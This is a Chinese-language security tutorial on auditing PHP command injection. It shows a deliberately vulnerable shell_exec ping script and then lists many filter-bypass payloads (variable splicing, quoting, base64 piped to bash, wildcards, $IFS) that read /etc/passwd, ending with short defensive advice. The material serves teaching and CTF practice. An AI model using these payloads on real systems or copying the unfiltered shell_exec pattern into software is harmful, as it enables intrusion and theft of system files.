0x00 OS Command Injection手工审计
命令注入,有些地方也叫做命令执行,一般和代码执行一起被叫做RCE
漏洞
<?php
if (isset($_REQUEST['target'])) {
$target = $_REQUEST['target'];
if($target){
if (stristr(php_uname('s'), 'Windows NT')) { //判断操作系统为windwos
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
}
?>
很明显,使用了shell_exec
但是没有对输入做过滤,并且使用的还是$_REQUEST
数组,这样不太好,应该尽量写清楚参数的获取方式是GET
还是POST
或者是COOKIE
。
0x01 利用方式
利用拼接符来完成命令注入。
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(.bat文件中的命令分隔符)
上面的都是比较基本的方法,在很多地方都会有过滤
和waf
,也会有不同的绕过方法。
0x02 修复场景-过滤关键字
这里就拿过滤cat
举例吧
$filter = "cat";
$targer = str_replace($filter,"",$targert);
此时就没有办法执行了,但是同样也会有方法绕过的。
变量拼接
target=127.0.0.1;a=c;b=at;$a$b /etc/passwd
当字符串拆成两个变量,然后进行拼接起来。
特殊shell变量绕过
target=127.0.0.1;ca$*t /etc/passwd
还有其它的方式,见下表
变量 | 含义 |
---|---|
$0 | 当前脚本的文件名 |
$n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
$# | 传递给脚本或函数的参数个数 |
$* | 传递给脚本或函数的所有参数,而参数不存在时其值为空。 |
$@ | 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同 |
$? | 上个命令的推出状态,或函数的返回值 |
$$ | 当前shell进程ID |
\绕过
127.0.0.1;ca\t /etc/passwd
单引号或者双引号绕过
127.0.0.1;ca''t /etc/passwd
空变量绕过
127.0.0.1;ca${x}t /etc/passwd
编码绕过
用base64
、hex
、oct
等都可以,拿base64
举例。
127.0.0.1;echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
其中Y2F0IC9ldGMvcGFzc3dk
是cat /etc/passwd
的base64
的编码。
系统变量绕过
127.0.0.1;${SHELLOPTS:3:1}at /etc/passwd
通配符绕过
shell
中常见的通配符
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合,同[!list] |
{str1,str2} | 匹配str1或者str2字符,也可以是集合 |
IFS | 由<space>或<tab>或 |
CR | 由<enter>产生 |
上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?
或*
这样的通配符,不能匹配路径分隔符/
。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt
127.0.0.1;/bin/c[a]t /etc/passwd
这个用于在ctf
当中用来找flag
也特别好用。
0x02 修复场景-过滤空格
修复如下:
$filter = " ";
$target = str_replace($filter,"",$target)
此时就没有办法执行了,但是同样也会有方法绕过的。
字符串绕过
< 、<>、%20(space)、%09(tab)
上面测试后发现%09
可以,前面的几个不太行,在使用cat
等命令时,也可以使用<
。
127.0.0.1;cat%09/etc/passwd
{}绕过
127.0.0.1;{cat,/etc/passwd}
$IFS变量绕过
$IFS$9、 ${IFS}、$IFS
这几个都可以
127.0.0.1;cat${IFS}/etc/passwd
0x03 命令防御方法
使用一些特定的函数来传定参数,比如escapeshellarg
或者escapeshellcmd
,但是利用不当还是能被绕过的。
最好设置白名单,或者直接就不要用户输入了,改成用户选择最好。
特殊方法
-
重单符``即反引号,还有
$()
里面的参数都会被当作命令执行,比如$(id).txt
。